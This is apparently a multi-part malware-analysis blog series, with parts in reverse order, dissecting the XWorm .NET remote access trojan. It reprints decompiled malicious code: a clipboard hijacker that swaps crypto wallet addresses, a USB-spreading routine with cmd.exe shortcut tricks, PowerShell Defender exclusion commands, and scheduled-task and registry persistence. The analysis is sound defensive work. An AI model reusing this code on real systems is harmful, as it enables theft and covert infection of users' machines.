						streamWriter.Write(RuntimeHelpers.GetObjectValue(obj4));
					}
					else
					{
						streamWriter.WriteLine(Environment.NewLine);
						streamWriter.WriteLine("###  " + nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i() + " ###");
						streamWriter.Write(RuntimeHelpers.GetObjectValue(obj4));
					}
				}
...
private static string HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i()
		{
			uint num = 0U;
			string text;
			try
			{
				IntPtr intPtr = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.bbQy92NFYzaX();
				nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.xdeCCXgZdixj(intPtr, out num);
				object processById = Process.GetProcessById(checked((int)num));
				object obj = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(processById, null, "MainWindowTitle", new object[0], null, null, null));
				if (string.IsNullOrWhiteSpace(Conversions.ToString(obj)))
				{
					obj = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(processById, null, "ProcessName", new object[0], null, null, null));
				}
				nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.Jqg66CPRiPks = Conversions.ToString(obj);
				text = Conversions.ToString(obj);
			}
			catch (Exception ex)
			{
				text = "???";
			}
			return text;
		}				

Cryptocurrency Capture#

After starting the thread that captures keyboard events (keylogger), XWorm starts a new thread by invoking the function ThPsG0ZcwqMa4kJtYpmfUiZCDYdrN4oqfZTPJXN3GUBU4Fn0jO3gkFsMruRx8UdiBqQKAm.

Upon opening the function, we see that it initializes a form:

public static void CaGUhxuUwEJ0()
		{
			Application.Run(new 5WfMxvD8ofo6.NotificationForm());
		}

...
			public NotificationForm()
			{
				Iz7vHvHrDV0G.NativeMethods.SetParent(this.Handle, Iz7vHvHrDV0G.NativeMethods.intpreclp);
				Iz7vHvHrDV0G.NativeMethods.AddClipboardFormatListener(this.Handle);
			}

If we search online, we can find a post from 15 years ago on StackOverflow where a user details how to intercept clipboard events:

private class NotificationForm : Form
    {
        public NotificationForm()
        {
            NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
            NativeMethods.AddClipboardFormatListener(Handle);
        }

        protected override void WndProc(ref Message m)
        {
            if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
            {
                OnClipboardUpdate(null);
            }
            base.WndProc(ref m);
        }
    } //https://stackoverflow.com/questions/2226920/how-do-i-monitor-clipboard-content-changes-in-c

In the user’s response, we see that they override the WndProc function to determine what to do when an event is intercepted.

Analyzing XWorm’s code, we see that it follows the same pattern:

protected override void WndProc(ref Message m)
			{
				if (m.Msg == 797)
				{
					...
					if (this.RegexResult(Iz7vHvHrDV0G.kHHDOMdskKUn) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.fXhxfFj8TkzcJaRHq60e0W7t2kQyE9YQZTdVM))
					{
						object obj = Iz7vHvHrDV0G.kHHDOMdskKUn.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.fXhxfFj8TkzcJaRHq60e0W7t2kQyE9YQZTdVM);
						c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj));
						qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("BTC Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj)));
					}
					if (this.RegexResult(Iz7vHvHrDV0G.eEjYtL8MRBr2) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.ErPBuuVqXFqHbYonPuxe4T4ztv3SlmKMArdQT))
					{
						object obj2 = Iz7vHvHrDV0G.eEjYtL8MRBr2.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.ErPBuuVqXFqHbYonPuxe4T4ztv3SlmKMArdQT);
						c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj2));
						qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("ETH Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj2)));
					}
					if (this.RegexResult(Iz7vHvHrDV0G.saRbJz6ZQ0Rw) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.1W1aoVjAWOEpcuqC9Lkxd3rmAEv3ya0L3KbR8))
					{
						object obj3 = Iz7vHvHrDV0G.saRbJz6ZQ0Rw.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.1W1aoVjAWOEpcuqC9Lkxd3rmAEv3ya0L3KbR8);
						c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj3));
						qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("TRC20 Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj3)));
					}
				}
				base.WndProc(ref m);
			}

The message type 797 is 0x031D in hexadecimal, which corresponds to WM_CLIPBOARDUPDATE .

The function RegexResult looks for patterns in the clipboard content that are associated with cryptocurrency wallets:

		private bool RegexResult(Regex pattern)
			{
				return pattern.Match(5WfMxvD8ofo6.NotificationForm.currentClipboard).Success;
			}
...
		public static readonly Regex kHHDOMdskKUn = new Regex("\\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,45}\\b");

		public static readonly Regex eEjYtL8MRBr2 = new Regex("\\b(0x)[a-zA-HJ-NP-Z0-9]{40,45}\\b");

		public static readonly Regex saRbJz6ZQ0Rw = new Regex("T[A-Za-z1-9]{33}");

The first pattern corresponds to Bitcoin wallets, the second to Ethereum, and the third to TRON.

XWorm analyzes if the clipboard content is associated with one of these wallets and if it does not match certain specific values. If both conditions are met, it replaces the clipboard content with values stored encrypted in the malware’s code; these values were decrypted in memory when the malware was started and correspond to Bitcoin, Ethereum, and TRON wallets, respectively.

In summary, XWorm does the following:

1. Intercepts the clipboard content (when someone clicks “copy” or presses Control+C).
2. Checks if the clipboard content matches the pattern of a cryptocurrency wallet.
3. If so, it modifies the clipboard content to contain the attacker’s wallet.

Since cryptocurrency wallets do not follow intuitive names and are composed of alphanumeric values, people usually copy and paste these values from their cryptocurrency manager/seller websites/chats; the attacker takes advantage of this behavior to replace the user’s wallet without them noticing, thus getting the funds transferred to them.

Next Steps#

XWorm continues to prove itself as a versatile malware with multiple capabilities; from infection through USBs, cryptocurrency theft, to keylogging, XWorm highlights the various opportunities an attacker seeks to obtain something from their victim.

In the next article, we will look at how XWorm notifies that it has infected a new victim, as well as how it updates itself.

In the previous article, we explored how XWorm ensures its continuous presence on the infected machine through persistence techniques. In this article, we will examine how it spreads to other devices.

Lateral Movement#

Lateral movement is a tactic used by attackers to navigate within a network and infect new devices. An attacker can employ multiple lateral movement techniques depending on the type of attack, such as exploiting a vulnerability (EternalBlue in the case of WannaCry), abusing authentication mechanisms (Pass The Hash), leveraging native functionalities (network shares), etc.

Once persistence techniques are established, the malware invokes the function q09aZ2HxLB2r7DZRcQehSbnhQjcv68H13cng3irqozRXULuHcNHm5TSVp2VEGsuyIEpZkX, which starts a new thread using the ThreadStart delegate :

public static void q09aZ2HxLB2r7DZRcQehSbnhQjcv68H13cng3irqozRXULuHcNHm5TSVp2VEGsuyIEpZkX()
		{
class.thread = new Thread(new ThreadStart(class.OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik), 1);
				class.thread.Start();
			}

When calling the Thread.Start method, the function OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik is invoked, which performs the lateral movement.

Upon an initial review of the function, we notice that it is significantly more difficult to analyze compared to the rest of the code we have examined so far:

private static void OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik()
		{
			int num2;
			int num4;
			object obj7;
			try
			{
				IL_0000:
				int num = 1;
				object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("wscript.shell", ""));
				IL_0018:
				checked
				{
					for (;;)
					{
						IL_074D:
						num = 3;
						if (!true)
						{
							break;
						}
						IL_001D:
						ProjectData.ClearProjectError();
						num2 = 1;
						IL_0025:
						num = 5;
						RegistryKey registryKey = 2HmONKQojJhuyq7J5js7wzrwlEjPZ2gvOmWLZ.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
						IL_0043:
						num = 6;
...

The code appears to be either improperly decompiled or obfuscated: we observe infinite loops, conditions like “if (!true)”, references to other parts of the code (IL_074D), and multiple assignments of numbers to variables (num = 5).

Since we do not have the malware’s source code, we cannot determine how this function originally looked. However, I can think of three possible explanations:

1. The attacker obfuscated this function to make analysis more difficult.
2. There was an issue during the function’s decompilation.
3. The attacker reused code from another malware.

The first two options seem unlikely. If the attacker intended to hinder analysis, why not obfuscate the rest of the code as well? As we will see later, the malware’s primary goal (its RAT functions) is not obfuscated in the same way. The other possibility is a decompiler error, but why would it only affect this function?

Based on this, I lean toward the third option: the attacker reused code from their own toolkit or another malware, where obfuscation was likely applied.

Step-by-Step Analysis#

Although analyzing this function seems challenging, we can focus on the lines of code that appear to execute specific actions.

The function begins by modifying a registry key:

Clean code:

RegistryKey registryKey = class.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
	if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue("ShowSuperHidden"), 1, false))
		{
			registryKey.SetValue("ShowSuperHidden", 0);
		}

The purpose of ShowSuperHidden is not immediately clear. Are there hidden and super-hidden files?

Delving into Microsoft’s documentation, we find that this flag indicates whether protected system files should be displayed .

XWorm sets the flag to 0, which disables the display of protected system files.

Once the registry key is modified, the malware iterates through the system’s drives and checks which ones are usable and removable (e.g., USBs):

DriveInfo[] drives = DriveInfo.GetDrives(); //get drives
	int i = 0;
	while (i < drives.Length) //iterate through drives
		{
			DriveInfo driveInfo = drives[i];
			if (driveInfo.IsReady) //check if drive is usable
				{
					if (driveInfo.DriveType == DriveType.Removable) //check if drive is removable
						{
							...
						}
				}
		}

If the device is removable and ready, the malware retrieves the drive letter (e.g., “D:"), copies a program to its root directory, and sets the program’s attributes to hidden and system:

string name = driveInfo.Name; //gets the drive letter
if (!File.Exists(name + programa)) //Checks if a program called "USB.exe" exists on the removable drive
	{
		File.WriteAllBytes(name + programa, File.ReadAllBytes(archivoActual)); //copies itself to the drive with the name "USB.exe"
		File.SetAttributes(name + programa, FileAttributes.Hidden | FileAttributes.System); //configures "USB.exe" as a hidden and system file
	}

What program does the malware copy?
It copies itself under the name “USB.exe”, which was decrypted in memory when XWorm began execution.

Once XWorm copies itself to removable devices and hides, it iterates through every file in each drive using the Directory.GetFiles function. It then hides these files and creates shortcuts to them that execute the malware:

string[] files = Directory.GetFiles(name); //get files on the removable drive
int j = 0;
while (j < files.Length) //iterate through each file
	{
		string text = files[j];
		if ((Operators.CompareString(Path.GetExtension(text).ToLower(), ".lnk", false) != 0) & (Operators.CompareString(text.ToLower(), name.ToLower() + programa.ToLower(), false) != 0)) //checks if the file is neither a shortcut nor "USB.exe"
			{
				File.SetAttributes(text, FileAttributes.Hidden | FileAttributes.System); //hides the file and sets it as a system file
				object obj = NewLateBinding.LateGet(objectValue, null, "CreateShortcut", new object[] { name + new FileInfo(text).Name + ".lnk" }, null, null, null);
				NewLateBinding.LateSetComplex(obj, null, "windowstyle", new object[] { 7 }, null, null, false, true);
				NewLateBinding.LateSetComplex(obj, null, "TargetPath", new object[] { "cmd.exe" }, null, null, false, true);
				NewLateBinding.LateSetComplex(obj, null, "WorkingDirectory", new object[] { "" }, null, null, false, true);
				NewLateBinding.LateSetComplex(obj, null, "Arguments", new object[] { string.Concat(new string[]
					{
						"/c start ",
						programa.Replace(" ", "\" \""),
						"&start ",
						new FileInfo(text).Name.Replace(" ", "\" \""),
						" & exit"
					}
				)} //creates a shortcut to the file that will also execute "USB.exe"
				...
			}
	}

The code might seem difficult to understand, but if we analyze it step by step, it performs the following actions:

1. Retrieves all existing files on the removable drive.
2. Iterates through each file and checks if it is a shortcut (.lnk) or the malware copied in the previous step (USB.exe).
3. If the file is neither of those, it hides it and marks it as a system file.
4. Creates a shortcut with the same name as the original file and configures it to execute: "cmd.exe /c start USB.exe & start HiddenFile & exit"

By doing this, each time a user double-clicks the shortcut, XWorm will execute while also opening the original file to avoid raising suspicion.

The next step the malware performs is changing the shortcut icon to match the original file’s icon. Since this is not critical for the analysis, I will not delve into this point.

Once the malware iterates through all the files, it does the same with the folders; it hides them, marks them as protected, and creates a shortcut for each:

string[] directories = Directory.GetDirectories(name);
int k = 0;
while (k < directories.Length)
	{
		string text2 = directories[k];
		File.SetAttributes(text2, FileAttributes.Hidden | FileAttributes.System);
		object obj4 = NewLateBinding.LateGet(objectValue, null, "CreateShortcut", new object[] { name + Path.GetFileNameWithoutExtension(text2) + " .lnk" }, null, null, null);
		NewLateBinding.LateSetComplex(obj4, null, "windowstyle", new object[] { 7 }, null, null, false, true);
		NewLateBinding.LateSetComplex(obj4, null, "TargetPath", new object[] { "cmd.exe" }, null, null, false, true);
		NewLateBinding.LateSetComplex(obj4, null, "WorkingDirectory", new object[] { "" }, null, null, false, true);
		NewLateBinding.LateSetComplex(obj4, null, "arguments", new object[] { string.Concat(new string[]
			{
				"/c start ",
				Strings.Replace(programa, " ", "\" \"", 1, -1, CompareMethod.Binary),
				"&start explorer ",
				Strings.Replace(new DirectoryInfo(text2).Name, " ", "\" \"", 1, -1, CompareMethod.Binary),
				"&exit"
			}
		)}
		...
	}
					

As we can see, the main difference is that the malware executes "cmd.exe /c start USB.exe & start explorer HiddenFolder & exit", which runs the malware and opens the folder the victim intends to access.

Note on the use of ShowSuperHidden: One might assume that enabling the “Show hidden files and folders” option would reveal all files, but it does not display hidden system files.

Lateral Movement Analysis#

In a world where more and more programs spread through networks, I find XWorm’s propagation method particularly interesting. We’ve all used USB drives at some point, both on corporate and personal computers, making this technique capable of infecting multiple devices across different networks (for example, if I use the same USB at home and at my workplace).

Analyzing this technique also allowed me to learn something new about hidden files: not all of them are visible even when enabling the “Show hidden files” option in File Explorer. Through dynamic analysis, I confirmed that even with this option enabled, I couldn’t see the USB.exe program or the hidden folders/files.

Opening the original files after clicking the shortcut and changing the shortcut icons might seem like minor details, but they have a significant impact. Aside from the small arrow indicating a shortcut, a victim would have no way of knowing they executed something unintended. Even if they recognize the icon, we’ve all used shortcuts before, and they might not think twice before double-clicking it.

Next Steps#

We’ve seen how XWorm spreads, but what does it do once it’s inside the system? In the next article, we’ll explore how it steals cryptocurrencies and records every keystroke its victim types.

See you in the next article!

In previous articles, we explored how XWorm avoids analysis and detection. In this article, we will focus on its ability to evade defenses and ensure persistence on the system.

Defense Evasion#

Defense evasion is a tactic used by attackers to avoid detection by security solutions such as antivirus software, Endpoint Detection and Response (EDR) tools, or firewalls. By employing these techniques, attackers aim to ensure that their malware can operate uninterrupted, concealing its presence while performing malicious actions on the system.

Once the malware’s execution environment has been validated, it proceeds to call the function iPJELYICawSFgzNPNEXj6qKKNQCWZykiDnDoP; this function performs a validation and, if the result is positive, proceeds to execute a block of code:

Before executing the code block, the malware checks if the current user has elevated privileges using the WindowsPrincipal.IsInRole method:

string text;
text = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator).ToString();
return text;

Given that we are administrators on the analysis machine, one would expect the method to return True; however, upon dynamically analyzing the function, we see that this is not the case:

Why does this happen? We can refer to the method documentation to understand the reason:

In Windows Vista, User Account Control (UAC) determines the privileges of a user. If you are a member of the Built-in Administrators group, you are assigned two run-time access tokens: a standard user access token and an administrator access token. By default, you are in the standard user role. When you attempt to perform a task that requires administrative privileges, you can dynamically elevate your role by using the Consent dialog box. The code that executes the IsInRole method does not display the Consent dialog box. The code returns false if you are in the standard user role, even if you are in the Built-in Administrators group. You can elevate your privileges before you execute the code by right-clicking the application icon and indicating that you want to run as an administrator.

The documentation explains why the function returns False: Windows uses a token scheme to determine the current user’s privileges; even if the user belongs to the administrators group, the default token will be for a standard role unless the program is explicitly run with elevated privileges.

Since the malware is not running with elevated privileges, it will not execute the rest of the function; however, we can analyze what it would do statically:

ProcessStartInfo processStartInfo = new ProcessStartInfo();
					processStartInfo.FileName = "powershell.exe";
					processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
					processStartInfo.Arguments = "-ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '" + class1.variable1 + "'";
					Process.Start(processStartInfo).WaitForExit();
					processStartInfo.Arguments = "-ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '" + Path.GetFileName(class1.variable1) + "'";
					Process.Start(processStartInfo).WaitForExit();
					processStartInfo.Arguments = string.Concat(new string[]
					{
						"-ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '",
						class2.variable2,
						"\\",
						Path.GetFileName(class1.variable1),
						"'"
					});
					Process.Start(processStartInfo).WaitForExit();

The program starts an instance of PowerShell in a hidden window and proceeds to exclude the following from Windows Defender analysis :

• The path where the malware is running (C:\Users\[User]\Desktop\[sample.exe]).
• The process of the malware (sample.exe).
• A path in AppData concatenated with the malware (C:\Users\[User]\AppData\Roaming\[sample.exe])

Upon analyzing the function, it becomes clear why it checks if the process is running with elevated privileges: to modify Windows Defender settings, administrator privileges are required.

Remember that there are multiple ways to get infected. If an attacker were to embed XWorm within another legitimate program, they could convince their victim to run the program with elevated permissions; for example, installing pirated games often requires “temporarily disabling the antivirus while running the ‘crack tool’ as an administrator to patch the game’s validation”; while this may be true, we could also be unknowingly installing malware like XWorm and excluding it from antivirus analysis.

While excluding the path where the malware is running and the process makes sense, so far we haven’t seen the binary interacting with AppData; this is an indication that the malware will likely copy itself to that path later.

Persistence#

Persistence is a tactic that allows attackers to maintain access to a compromised system, even after reboots or attempts to remove the malware. This is achieved by setting up methods for the malware to run automatically when the system boots or the user logs in, ensuring its continuous presence.

XWorm uses 3 persistence methods to maintain access to its victim’s machine; before setting up each persistence method, the malware copies itself to the path C:\Users\[User]\AppData\Roaming\[sample.exe] using the File.WriteAllBytes and File.ReadAllBytes functions:

string text = AppDataPath + "\\" + Path.GetFileName(currentFile);
if (File.Exists(text))
	{
		FileInfo fileInfo = new FileInfo(text);
		fileInfo.Delete();
	}
Thread.Sleep(1000);
File.WriteAllBytes(text, File.ReadAllBytes(currentFile));

Scheduled Task#

XWorm creates a Windows task that runs every minute using the command schtasks.exe /create /f /RL HIGHEST /sc minute /mo 1 /tn [MalwareName] /tr "C:\Users\[User]\AppData\Roaming\[MalwareName.exe]". If the process is not running as an administrator, it executes the same command without the /RL HIGHEST parameter; this parameter is used to run the task with elevated privileges .

MITRE ATT&CK technique: T1053.005

Registry Key#

XWorm sets the HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key, which specifies which programs to run when a user logs in .

MITRE ATT&CK technique: T1547.001

Startup Folder#

XWorm creates a shortcut to the malware in the path “C:\Users\[User]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”, which is another way for programs to run at user login .

MITRE ATT&CK technique: T1547.001

Next Steps#

Lateral movement is a crucial tactic for malware propagation. In the next article, we will explore how XWorm uses USBs to achieve this while avoiding detection.

See you in the next article!

In the previous article we identified that the RAT was built using the .NET framework, which makes it easier to analyze due to the wealth of information contained in binaries created with this framework. In this article, we will delve into the techniques XWorm uses to hinder analysis.

Initial Exploration#

After opening XWorm in DNSpy, we verify that the names of classes and objects are obfuscated:

It would be tedious to review each class to identify the function where the program starts execution; fortunately, DNSpy displays the entry class and function as a comment:

By clicking on the function name, DNSpy takes us directly to it, where we can see the code that gets executed when the malware starts:

Once execution begins, the malware calls Thread.Sleep, passing as parameters the value stored on the variable sWpIi59HVTjtB0r6P7SRQdLwgcnM2a0ZVHXvX multiplied by 1000. By clicking on the variable, we verify that it has a value of 2, so the value passed to Thread.Sleep is 2000. One of the advantages of analyzing .NET code with DNSpy is that it contains information about the various functions and native methods of the languages that use this framework. When hovering over the function, we can see that it is used to pause the thread for N milliseconds. Since the value passed to the function is 2000, the program halts for 2 seconds.

After sleeping for 2 seconds, the malware enters a try/catch block, where it attempts to execute several operations. If executing these operations fails, the program closes using the Environment.Exit(0) function.

At first glance, it may seem a bit odd what the malware does, as it assigns the result of an operation on a variable to the variable itself:

  Class.variable1 = Conversions.ToString(lnZZgsJ1tVOV.FbmCgvom7sJS(Class.variable1));

If we click on the first variable, qsurotxVBQWuN1wXL7Sl3R7UMOoGherwjkt90, we see that its value is nz4SABi5PYTEufPjSTbCd8mMnZZi6YWaGiwAg1FVXfo=

The value seems to be encoded in Base64; however, attempting to decode it does not yield readable characters:

Runtime decryption#

If we click on the FbmCgvom7sJS function, we can understand what operations it performs on the variable:

		public static object FbmCgvom7sJS(string TEFe4AuGLs1t)
		{
			RijndaelManaged rijndaelManaged = new RijndaelManaged();
			MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
			byte[] array = new byte[32];
			byte[] array2 = md5CryptoServiceProvider.ComputeHash(TFIW2FSLtw9S.fOEct6S2qWNI(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.eCx5LqBibLns0nMQEXWWSiIdLt37W7nhFgXiM));
			Array.Copy(array2, 0, array, 0, 16);
			Array.Copy(array2, 0, array, 15, 16);
			rijndaelManaged.Key = array;
			rijndaelManaged.Mode = CipherMode.ECB;
			ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
			byte[] array3 = Convert.FromBase64String(TEFe4AuGLs1t);
			return TFIW2FSLtw9S.kX1tPkTzXln3(cryptoTransform.TransformFinalBlock(array3, 0, array3.Length));
		}

The function performs the following steps:

1. It initializes an instance of RijndaelManaged, a class used in cryptographic operations.
2. It initializes an instance of MD5CryptoServiceProvider, which allows for performing MD5 hashing operations.
3. It creates an array called array (1) of 32 bytes.
4. It creates another array called array2 (2) that contains the MD5 hash of the value stored on the variable eCx5LqBibLns0nMQEXWWSiIdLt37W7nhFgXiM.
5. It copies the MD5 hash from array2 (2) into the first 16 bytes of array (1).
6. It copies the MD5 hash from array2 (2) again into the first array (1), starting at the 15th byte; by doing this, the 15th byte, which was the last one copied in step 5, is overwritten.
7. It configures the 32-byte array (1), which now contains the duplicated MD5 hash, as the key for the cryptographic algorithm and initializes the method used to decrypt strings.
8. It obtains the value passed as a parameter to the function and decodes it from Base64.
9. Finally, it decrypts the byte array resulting from the previous step using the key set in step 7.

By analyzing the function, we can finally understand its purpose: the values of certain variables are encrypted and the malware decrypts them during execution, possibly to prevent values such as URLs or IPs from being easily identified as Indicators of Compromise (IOCs) in static analysis.

While we could create a script to automate the decryption, we can use DNSpy’s debugging capabilities to obtain the decrypted strings. We can press F9 on the line where the first string is decrypted and analyze the result, and F10 to step through each line:

From the decrypted strings, we identify some that may be potentially interesting:

• A DDNS.net URL, which is a dynamic DNS service.
• What appears to be a port.
• The string “<Xwormmm>”
• The string “USB.EXE”

Some of the decrypted strings don’t make sense yet, and we will probably have to infer their usage based on the context of the function that invokes them.

Mutex usage#

After decrypting the values, the malware enters the function XykaLtFvQmKZ, which attempts to create a Mutex with a specific name, which is stored in the variable eCx5LqBibLns0nMQEXWWSiIdLt37W7nhFgXiM:

Mutexes are commonly used in concurrent programming to lock certain parts of the code and prevent them from being accessed while in use or not yet ready. This happens because, when managing multiple threads, a race condition can occur, where one thread finishes before the thread we expected to finish first.

The parameters to create a Mutex are the following :

• initiallyOwned: It does not affect the malware’s objective.
• name: name of the Mutex.
• createdNew: True if the Mutex got created, False if a Mutex with the requested name already existed.

In this case the malware is running in a single thread, but the malware authors creatively use this type of object by looking at the createdNew response parameter. This way, if a new instance of the malware is started while another is already running, the Mutex with the name defined by the malware will already be created, and the result would be False, causing the program to close. By doing this, the malware authors can ensure that only one copy is running at a time, preventing system performance impact and avoiding suspicion.

Anti-analysis#

After ensuring that it is the only instance running, the malware enters the function w8r25j4la24nAJZBLOLGewTPs69UXozPFVUsT. By reviewing the function at a high level, we can see that it performs multiple validations and proceeds to close itself if any of these fail:

Going through each function, the malware performs the following:

1. It checks if it is running in VMware or VirtualBox:

   

   To do this, the malware retrieves the system’s manufacturer using Select * from Win32_ComputerSystem and compares it with the strings ‘vmware’ and ‘VirtualBox’

2. Checks if it’s being debugged:

   

3. It checks if the SbieDll.dll DLL is loaded:

   

4. It checks if it is running on Windows XP:

   

5. It checks if it is running on a cloud provider:

   

   The hosting parameter from the ip-api.com website indicates whether the IP belongs to a cloud provider.

These validations can serve different purposes:

• The check to see if the environment is virtualized, that the malware is not running on XP, and that it’s not running on a cloud provider could be due to the malware’s capabilities, which may require physical hardware.
• The check to see if it’s running on a cloud provider might be to prevent analysis by solutions like VirusTotal or AnyRun, which operate on cloud services (AWS/GCP/Azure).
• The check to see if it’s being analyzed and if the Sandboxie library is present may be intended to hinder detection by dynamic analysis tools.

If we were to continue with dynamic analysis on a PC with VMware or VirtualBox, the program would close due to the first check:

To avoid this, we can set a breakpoint before the manufacturer is validated and change its value in memory:

It is also possible to save the program after patching the validation; however, I do not recommend this until fully understanding what the malware does. The malware could proceed to corrupt files or encrypt the system, so it’s better to keep its initial function and allow it to close if we were to run it by mistake or in case it starts automatically using persistence techniques.

Conclusions#

In this analysis, we have delved into the initial execution stages of XWorm, uncovering several techniques it uses to hinder analysis and ensure its execution in specific environments. Some of the key points include:

Obfuscation and Dynamic Decryption

XWorm uses Rijndael-based encryption and Base64 encoding to protect sensitive strings such as URLs, ports, and filenames. This approach aims to hide potential Indicators of Compromise (IOCs) until they are executed in memory.

Mutex usage

The malware ensures that only one instance is running by creating a unique Mutex. This prevents raising suspicion due to excessive system consumption.

Anti-Analysis Validations

XWorm’s multiple checks, such as detecting virtualized environments, external debuggers, and the presence of analysis libraries like Sandboxie, make dynamic analysis more difficult and aim to prevent execution in controlled environments.

These techniques not only show a high level of sophistication in the development of XWorm but also highlight the importance of advanced tools and methodologies in malware analysis. By overcoming these barriers, we can understand the behavior of such threats, anticipate their movements, and develop better defenses.

Next Steps

In the next articles of the series, we will explore XWorm’s defense evasion strategies, persistence techniques, and functional modules such as a keylogger and cryptocurrency capture capabilities.

See you in the next article!

XWorm, a sophisticated Remote Access Trojan (RAT) developed in .NET, is a favorite tool among cybercriminals due to its extensive feature set and constant updates. From anti-analysis techniques and communication with its creators via Telegram to Bitcoin theft, this malware exemplifies the current threat landscape.

In this seven-part series, we will analyze XWorm step by step, uncovering its internal mechanisms and the techniques it employs to achieve its objectives.

In this first post, we’ll lay the groundwork for understanding XWorm and its analysis. We’ll explore how to identify the type of binary we’re working with, review some basic .NET concepts, and introduce the tools we’ll use throughout the series.

Background#

XWorm was first identified in 2022; since then, it has constantly evolved, incorporating new techniques to evade analysis and remain relevant in the current threat landscape. The Netskope team recently discovered that XWorm underwent a new update to include additional capabilities, such as:

• The ability to remove plugins (earlier versions introduced plugin usage).
• The ability to measure response time between the C2 server and the malware; this capability enhances a method previously found in earlier samples of this malware, including the one we will analyze in this series.
• The ability to modify the Operating System’s Hosts file, enabling an attacker to redirect web traffic to their server:

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      rhino.acme.com          # source server
#       x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#	localhost
#	::1             localhost
151.20.37.49	    bank.com   <-- When the user accesses bank.com, their system connects to 151.20.37.49, overriding the DNS configuration.

XWorm is a Remote Access Trojan; the main difference between this type of malware and a reverse shell is that it comes preloaded with built-in capabilities to perform various functions, such as keylogging, password exfiltration, execution of new programs, and more. By offering pre-customized functionalities, it enables individuals without technical knowledge to interact with it through administrative panels.

XWorm is sold on multiple criminal forums at varying prices. According to a study conducted by Trellix , version 4 of this malware was sold for $400 in 2023. As a result, it has been used to target multiple countries and industries. A quick internet search reveals that XWorm has recently been used to attack Ukraine , industry sectors in the United Kingdom , and to deploy the LockBit ransomware .

Static Analysis#

